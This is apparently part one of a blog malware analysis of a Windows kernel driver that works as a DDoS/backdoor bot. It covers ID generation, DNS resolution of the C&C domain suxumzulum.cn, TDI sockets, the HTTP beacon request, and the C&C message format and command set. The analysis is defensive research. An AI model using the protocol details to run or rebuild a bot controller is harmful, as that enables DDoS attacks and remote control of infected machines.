DDoS Driver 1/2

And finally we can analyze the real kernel driver (nups.sys – 36312A4D9ED66377CDEF09B0A247F8AF), turns out it’s a ddos/backdoor agent.
This driver comes with no obfuscation/protection whatsoever and as a bonus the author was so kind to leave the DbgPrint calls and debug strings like this:

U:\MyProg\WORK\10428\!!BOTSRC!!!\objfre\i386\bot.pdb

When the driver starts it gets the agent ID from Params value in its registry entry, and if it’s not present it generates one using rdtsc and saves it.

.text:000119A2    rdtsc
.text:000119A4    mov     [ebp+var_4], eax
.text:000119A7    add     [ebp+var_4], edx
.text:000119AA    push    [ebp+var_4]
.text:000119AD    push    offset a02_8x   ; "%02.8X"
.text:000119B2    push    12h             ; size_t
.text:000119B4    push    [ebp+arg_0]     ; wchar_t *
.text:000119B7    call    ds:_snwprintf

After that it builds a list of DNS servers, getting them from the network interfaces, cycling through the keys in:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

and using the value stored in NameServer or DhcpNameServer.
This list is used to resolve the ip address of the C&C server suxumzulum.cn: the driver builds a DNS query for the hostname and sends it to each of the nameservers in the list until it gets a response.

All network communications are handled using TDI sockets. Through all the driver we’ll encounter basically four socket functions that i renamed accordingly to their function:

TDI_CREATE_SOCKET // allocates a structure that hold various handles and flags needed to manage the TDI socket
TDI_CONNECT // _if_ it's a tcp socket establish a connection
TDI_SEND // send data over a socket
TDI_RECV // receive data from the socket
TDI_CLOSE // closes the socket

I’m not going to describe in detail those four functions because they are widely known and you can find plenty of implementations like this or this.

Once the initialization is completed, the driver sends a request to the C&C server asking for tasks, most of the tasks are DDoS sessions, these ones are memorized in an array(256 entries) until the session is stopped.

The request is a classical HTTP GET request sent on port 80 of the C&C server:

GET /main/rand/test.php?ver=0001&group=0001&id=&cmd= HTTP/1.0
Host: suxumzulum.cn

where <ID> is the agent Id previously generated.
The response is stripped of the HTTP headers and consists in a hex string pretty much like this one:

faba1a00083c00010110270000000000000063616c632e657865

Note: since the C&C server is down i’ve reversed the whole protocol and wrote a C&C server to verify my findings

Once the message is received the driver performs some preliminary checks:

  1. each character in the string must fall into a-f or 0-9
  2. the message length must be a multiple of 2 (that is: 2 hex digits per byte)

if one of these two checks fails the message is discarded, otherwise the message is translated in its binary form (i.e. “faba1a..” becomes 0xFA 0xBA 0x1A.. and so on).

On the translated message are performed other checks:

  1. the first WORD of message must be equal to a magic value BAFAh
  2. the second WORD of message must be equal to the length of the entire message

also in this case, if one of the checks fails the message is discarded.

The first part of the message is composed always by these four fields:

struct Message {
      WORD magic;      //  BAFAh
      WORD msgLen;
      BYTE cmd;      // command to execute
      WORD waitTime;  // wait time before sending another request to C&C (# of seconds)
      ...
}

the rest of the message is interpreted differently based on the value of the cmd field:

  • [cmd = 0] means there are no tasks to add, and the message specifies an array of tasks ids to stop
  • [cmd != 0] the message contains a task to execute and can also specify an array of tasks ids to stop.

In the first case (cmd = 0), the next fields of the message would be:

	BYTE arraySize;
	BYTE array[1];

where arraySize indicates the size of the following array of ids.

The second case (cmd != 0) is obviously more interesting because here is where works are added, cmd can take 8 different values, each one corresponding to a different task:

  1. HTTP
  2. TCP
  3. UDP
  4. TCPCON
  5. ICMP
  6. UPDATE
  7. CMDEXEC
  8. LOADNEXEC

in the second part we’ll see each one of the commands.

Advertisements


%d bloggers like this: